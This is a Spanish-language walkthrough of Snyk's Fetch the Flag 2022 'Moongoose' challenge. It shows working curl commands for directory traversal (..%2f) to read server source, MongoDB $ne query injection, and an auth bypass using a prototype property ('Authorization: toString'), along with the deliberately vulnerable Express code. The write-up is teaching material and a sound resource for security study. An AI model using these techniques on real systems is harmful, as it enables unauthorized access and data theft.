Solución de Fetch the Flag CTF 2022: Moongoose

¡Gracias por jugar Fetch con nosotros! Felicitaciones a los miles de jugadores que participaron en Fetch the Flag CTF. ¡Y muchísimas gracias a los Snykers que crearon, probaron y documentaron los desafíos!

Como empleado de Snyk, tuve la oportunidad de participar con mis compañeros en una «prueba beta» de la competencia Fetch the Flag 2022 de Snyk. Nos divertimos mucho resolviendo estos desafíos juntos y, personalmente, aprendí mucho de la experiencia. Esta es la solución de un desafío que disfruté especialmente: Moongoose.

Desafío

Si creías que habían puesto un ganso en la luna

Este desafío comienza en una página de inicio de sesión críptica, con temática de la luna y los gansos. Para encontrar la bandera, tendremos que explotar varias vulnerabilidades: recorrido de directorios, inyección NoSQL y algunos comportamientos complicados de JavaScript. Como en cualquier otro desafío CTF, nuestro primer paso es encontrar un punto de entrada.

Guía paso a paso

Cómo encontrar un punto de entrada

Quizás notaste que el nombre de este desafío, «Moongoose», se diferencia por una sola letra de «Mongoose», que es el nombre de un framework popular de Node.js para MongoDB. ¿Será una pista para encontrar la solución? Veamos si podemos confirmar esa sospecha.

Primero, vayamos al desafío y veamos qué observamos a primera vista. Encontramos:

• Un formulario de inicio de sesión

• Un formulario de registro

• Dos imágenes con una luna y un ganso que giran con mucho estilo

• Un fondo genial con un campo de estrellas

Cualquier elemento que acepte datos del usuario es un buen punto de partida para el análisis, así que primero nos centraremos en los formularios de inicio de sesión y registro.

Al probar distintas combinaciones de nombres de usuario y contraseñas en cada formulario, obtenemos dos mensajes de error diferentes:

• Cuando completamos tanto el nombre de usuario como la contraseña, obtenemos: { "☾ 𓅬": "invalid moongoose!" }

• Cuando falta uno o ambos campos, obtenemos: {"☾ 𓅬":"invalid moongoose: geese have credentials"}

Curiosamente, vemos el mismo comportamiento en los formularios de inicio de sesión y registro. Abramos el panel de red de las herramientas para desarrolladores del navegador para entender mejor qué sucede.

En estas capturas uso Firefox, pero los mismos principios se aplican a todos los navegadores principales.

Al observar el tráfico de red, vemos que ambos formularios envían la misma solicitud POST al endpoint api/auth. Por lo tanto, da igual cuál usemos. Uno de los encabezados de respuesta de estas solicitudes llama la atención:

1X-Powered-By: Express

Para quienes no conocen ese nombre, Express es un framework de servidor web de Node.js muy utilizado. Como atacantes, esta es una información potencialmente valiosa. Ahora conocemos (o al menos sospechamos firmemente) el lenguaje, el entorno de ejecución y el framework de este servidor. Aunque esto no confirma que use Mongoose y MongoDB, sí respalda esa intuición.

Si seguimos esa hipótesis y suponemos que MongoDB se usa en el flujo de inicio de sesión, quizá podríamos probar una inyección de MongoDB con el endpoint api/auth. Esta es una inyección de consulta que encontré en book.hacktricks.xyz, un sitio increíblemente útil:

1{"username": {"$ne": null}, "password": {"$ne": null} }

En la sintaxis de consulta de MongoDB, $ne es un operador que encuentra los casos en que un campo no es igual al valor indicado. En SQL, sería así:

1WHERE username IS NOT NULL AND password IS NOT NULL

Si suponemos que este endpoint consulta MongoDB para encontrar un usuario donde username = X y password = Y, esta inyección equivaldría a decir: «dame el usuario cuyo nombre de usuario no sea nulo y cuya contraseña no sea nula». En teoría, esta consulta encontraría cualquier usuario válido. Abramos una terminal y probémoslo con cURL:

1$ curl http://moongoose.c.ctf-snyk.io/api/auth \
2    -H 'Content-Type: application/json' \
3    --data '{"username": {"$ne": null}, "password": {"$ne": null}}'
4{"☾ 𓅬":"No objects here"}

¡Parece que no será tan fácil! Volvamos al navegador y, con la pestaña de red aún abierta, busquemos otros endpoints de API que podamos intentar explotar. En esta captura, recargué la página y luego filtré el tráfico de red para ver las solicitudes que incluyen api en la ruta.

Vemos que la imagen del ganso se carga mediante una llamada a /api/image/goose.png. Al igual que el endpoint /api/auth, esta respuesta también incluye el encabezado X-Powered-By: Express. Podemos suponer que se usa el mismo servidor para servir archivos estáticos. Veamos qué pasa si intentamos solicitar otro archivo, como package.json:

1$ curl 'http://moongoose.c.ctf-snyk.io/api/image/package.json'
2{"oops":{"errno":-2,"syscall":"open","code":"ENOENT","path":"/app/res/package.json"}}

Esa respuesta es una gran señal de alerta. Parece que:

• El servidor intenta abrir desde el disco el archivo que especificamos

• Es probable que el código de la aplicación esté en /app

Todavía no sabemos si este servidor usa una biblioteca o código personalizado para servir archivos estáticos. Pero podemos probar una vulnerabilidad común de los servidores de archivos estáticos: recorrido de directorios. En resumen, usaremos ../ para solicitar un archivo del directorio principal de la ubicación donde se guardan las imágenes. Observa que debemos codificar la barra como URL (%2f), porque, de lo contrario, nuestra solicitud se interpretaría como /api/package.json:

1$ curl 'http://moongoose.c.ctf-snyk.io/api/image/..%2fpackage.json'
2{
3  "name": "moongoose",
4  "version": "1.0.0",
5  "description": "MoonGoose Server",
6  "main": "server.js",
7  "scripts": {
8      "test": "echo \"Error: no test specified\" && exit 1",
9      "init": "node init.js",
10      "start": "nodemon server.js"
11  },
12  "keywords": [
13      "moon",
14      "goose"
15  ],
16  "author": "mummagoose",
17  "license": "ISC",
18  "dependencies": {
19      "bcryptjs": "^2.4.3",
20      "body-parser": "^1.20.0",
21      "concurrently": "^7.1.0",
22      "express": "^4.18.1",
23      "jsonwebtoken": "^8.5.1",
24      "mongoose": "^6.3.3"
25  }
26}

Por fin confirmamos nuestra sospecha inicial: este servidor usa la biblioteca mongoose de MongoDB. También vemos que el código principal del servidor está en server.js. Probemos a obtener ese archivo:

1$ curl 'http://moongoose.c.ctf-snyk.io/api/image/..%2fserver.js'

¡Lo logramos! Analicemos este servidor para descubrir cómo avanzar hasta la bandera.

Análisis del sistema de autenticación

Estas son las secciones de server.js que componen el sistema de autenticación:

1// ...
2
3const ADMIN_HASH = '$2b$12$.zYQ7xW4JFZoj3GvhXS9gOAJs8CUUIbub80UHqfjO20h2sdJpjwDW';
4let SESSIONS = {};
5
6// ...
7
8app.post('/api/auth', async (req, res) => {
9  const { username, password } = req.body;
10
11  if ((!username) || (!password)) {
12      res.status(418).json({ '☾ 𓅬': 'invalid moongoose: geese have credentials' });
13      return;
14  }
15
16  if (typeof username !== 'string' || typeof password !== 'string') {
17      res.status(401).json({ '☾ 𓅬': 'No objects here' });
18      return;
19  }
20
21  if (!bcrypt.compareSync(password, ADMIN_HASH)) {
22      res.status(401).json({ '☾ 𓅬': 'invalid moongoose!' });
23      return;
24  }
25
26  const sessionToken = generateSessionToken();
27  SESSIONS[sessionToken] = { username: username };
28  res.setHeader('Authorization', sessionToken);
29  res.json({ '☾ 𓅬': 'welcome moongoose' })
30});
31
32const checkToken = (sessions, token) => {
33  if (!sessions[token]) {
34      return false;
35  }
36  return true;
37}
38
39const requireAuthentication = () => {
40  return (req, res, next) => {
41      if (!checkToken(SESSIONS, req.header('Authorization'))) {
42      res.status(418).json({ '☾ 𓅬': 'bad moongoose' })
43      } else {
44      next()
45      }
46  }
47}
48
49// ...
50
51const generateSessionToken = () => {
52  return Buffer.from(bcrypt.hashSync(bcrypt.genSaltSync(), 10)).toString('base64');
53};

Hay mucho que analizar, así que resumiré mis conclusiones principales:

• MongoDB no se usa en el sistema de autenticación.

• Este código ignora el username y solo compara un hash de la password con una variable ADMIN_HASH codificada de forma fija.

• Esta contraseña se procesa con un hash usando bcrypt, que requiere muchísimos recursos de cómputo para descifrarla por fuerza bruta.

• Después de autenticarte correctamente, el servidor genera un token aleatorio y lo agrega al objeto global SESSIONS. El token se devuelve al cliente como un encabezado Authorization. Luego, el cliente puede enviar ese encabezado a los endpoints que usan el middleware requireAuthentication.

Análisis del endpoint de la bandera

1// ...
2const mongoose = require('mongoose');
3// ...
4
5const Flag = require('./models/user.model');
6
7// Mongo Setup
8mongoose.connect('mongodb://localhost:27017/ctf',
9  {
10      useNewUrlParser: true,
11      useUnifiedTopology: true
12  }
13);
14
15// ...
16
17app.post('/api/flags', requireAuthentication(), async (req, res) => {
18  const { flag } = req.body;
19  console.log(flag);
20  if (!flag) {
21      res.status(418).json({ '☾ 𓅬': 'expected `flag` moongoose' })
22      return;
23  }
24
25  const found = await Flag.find({ name: flag });
26  if (!found.length) {
27      res.json({error: `${flag} not found`});
28      return;
29  }
30  res.status(418).send({found});
31})

Para obtener la bandera, tendremos que:

• superar la comprobación de autenticación

• proporcionar el valor correcto para flag en el cuerpo de la solicitud

Al solicitar el archivo models/user.model.js mediante nuestro exploit de recorrido de directorios, vemos que Flag es un modelo de Mongoose y que esta llamada a Flag.find() consulta MongoDB para encontrar entradas donde name = <flag>.

El controlador /api/flags no aplica ningún saneamiento ni validación al cuerpo de la solicitud. Así que parece que podemos volver a intentar nuestra inyección de MongoDB anterior en lugar del nombre de la bandera. Pero primero, tendremos que superar el middleware requireAuthentication().

Unir todas las piezas

Como señalamos antes, es poco probable que podamos descifrar por fuerza bruta el ADMIN_HASH en un plazo razonable. ¿Podemos engañar al servidor para que crea que ya estamos autenticados?

Veamos la función que valida el token de sesión:

1const checkToken = (sessions, token) => {
2  if (!sessions[token]) {
3      return false;
4  }
5  return true;
6}

El punto débil de esta comprobación es que supone que el objeto SESSIONS solo contiene tokens de sesión. Pero la herencia prototípica de JavaScript hace que el objeto SESSIONS se inicialice con algunas propiedades ocultas y no enumerables. Podemos obtener una lista de esas propiedades ejecutando esta instrucción en un REPL de Node.js o en la pestaña Consola de las herramientas para desarrolladores del navegador:

1> Object.getOwnPropertyNames(Object.prototype)
2[
3  'constructor',
4  '__defineGetter__',
5  '__defineSetter__',
6  'hasOwnProperty',
7  '__lookupGetter__',
8  '__lookupSetter__',
9  'isPrototypeOf',
10  'propertyIsEnumerable',
11  'toString',
12  'valueOf',
13  '__proto__',
14  'toLocaleString'
15]

Si tenemos razón, deberíamos poder usar cualquiera de estas propiedades como token de sesión y superar la función checkToken(). Al combinar esto con nuestra inyección de MongoDB, la solicitud final queda así:

1$ curl http://moongoose.c.ctf-snyk.io/api/flags \
2    -H 'Content-Type: application/json' \
3    -H 'Authorization: toString' \
4    --data '{"flag": {"$ne": null}}'

La respuesta a esta solicitud contiene todo el contenido de la colección flag, ¡incluida la bandera real!

¡Moongoose atrapado!

Este desafío mostró varias vulnerabilidades. Usamos el recorrido de directorios para obtener el código del servidor. Aprovechamos la herencia prototípica de JavaScript para eludir el sistema de autenticación. Por último, usamos una inyección de consulta de MongoDB para eliminar cualquier conjetura del endpoint /api/flags. Esta aplicación se creó con vulnerabilidades intencionales, pero este tipo de vulnerabilidades también se presenta en el mundo real. Si quieres aprender más sobre los distintos tipos de vulnerabilidades, cómo se explotan y cómo protegerte de ellas, Snyk Learn es un excelente recurso práctico.

¿Quieres saber cómo encontramos todas las demás banderas? Consulta nuestra página de soluciones de Fetch the Flag para ver cómo lo hicimos.